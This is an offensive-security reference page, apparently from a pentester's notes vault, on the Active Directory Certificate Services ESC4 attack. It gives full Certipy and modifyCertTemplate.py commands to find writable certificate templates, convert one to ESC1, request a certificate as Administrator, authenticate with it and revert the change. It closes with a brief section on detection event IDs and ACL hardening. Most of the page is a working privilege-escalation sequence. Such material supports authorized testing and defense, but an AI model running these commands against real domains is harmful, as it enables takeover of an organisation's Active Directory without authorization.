title: "Attack #30 โ ESC4 Template Write Permissions" description: "ESC4 exploits overly permissive ACLs on certificate templates. If a low-privileged user has WriteProperty, WriteDACL, WriteOwner, or FullControl on aโฆ" category: active-directory subcategory: "ADCS & Certificates" tags: ["active-directory", "adcs", "privilege-escalation"] tools: ["Certipy"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Four/๐ข Attack #30 โ ESC4 Template Write Permissions.md"#
๐ข Attack #30 โ ESC4: Template Write Permissions#
๐ How It Works#
ESC4 exploits overly permissive ACLs on certificate templates. If a low-privileged user has WriteProperty, WriteDACL, WriteOwner, or FullControl on a template object, they can modify that template's configuration to make it vulnerable to ESC1 โ enabling the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag, adding Client Authentication EKU, and removing approval requirements. Once modified, the attacker enrolls using the now-vulnerable template to get a certificate for any user.
The Attack Flow#
1. Find a template where you have write permissions
2. Modify the template:
- Enable ENROLLEE_SUPPLIES_SUBJECT (allows SAN specification)
- Set EKU to Client Authentication
- Disable Manager Approval
- Disable Authorized Signatures
3. Request certificate with SAN = Administrator
4. Authenticate as Administrator
5. Revert template changes (cleanup)
โ๏ธ Prerequisites#
| Requirement | Detail |
|---|---|
| Write permissions on template | WriteProperty, WriteDACL, WriteOwner, or FullControl |
| Enrollment rights | Must also be able to enroll for the template |
๐ป Full Commands#
๐ต Enumerate Writable Templates#
# โโ Certipy โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout
# Look for: ESC4 โ template ACL allows modification
# โโ modifyCertTemplate.py โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
python3 modifyCertTemplate.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
-template VulnTemplate -get-acl
๐ด Modify Template โ Convert to ESC1#
# โโ Certipy โ modify template to be ESC1-vulnerable โโโโโโโโโโโโโโโโโโโโโโโโโโ
# Save current config first:
certipy template -u low_user@corp.local -p 'Password1' \
-template VulnTemplate -save-old -dc-ip 10.10.10.10
# Modify to ESC1:
certipy template -u low_user@corp.local -p 'Password1' \
-template VulnTemplate -dc-ip 10.10.10.10 \
-configuration ESC1
# โโ Alternative: modifyCertTemplate.py โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
python3 modifyCertTemplate.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
-template VulnTemplate \
-add enrollee_supplies_subject \
-add client_authentication
๐ด Exploit as ESC1#
# โโ Request certificate with SAN = Administrator โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
-template VulnTemplate -upn Administrator@corp.local -dc-ip 10.10.10.10
# โโ Authenticate โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
๐ด Cleanup โ Revert Template#
# โโ Restore original template configuration โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
certipy template -u low_user@corp.local -p 'Password1' \
-template VulnTemplate -dc-ip 10.10.10.10 -configuration VulnTemplate.json
๐ก๏ธ Detection โ Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4899 | Security Log (CA) | Certificate template modification |
| 5136 | Security Log (DC) | AD object modification (template object in CN=Certificate Templates) |
๐ Attack Chain Context#
[ESC4] โโโ Write access on template โ convert to ESC1 โ domain compromise
โ
โโโโ ๐ Converts any writable template into ESC1
โโโโ ๐ Always revert changes after exploitation
โโโโ ๐ Defeated by: restrict template ACLs, monitor 4899/5136
โ Attack #30 โ ESC4 complete.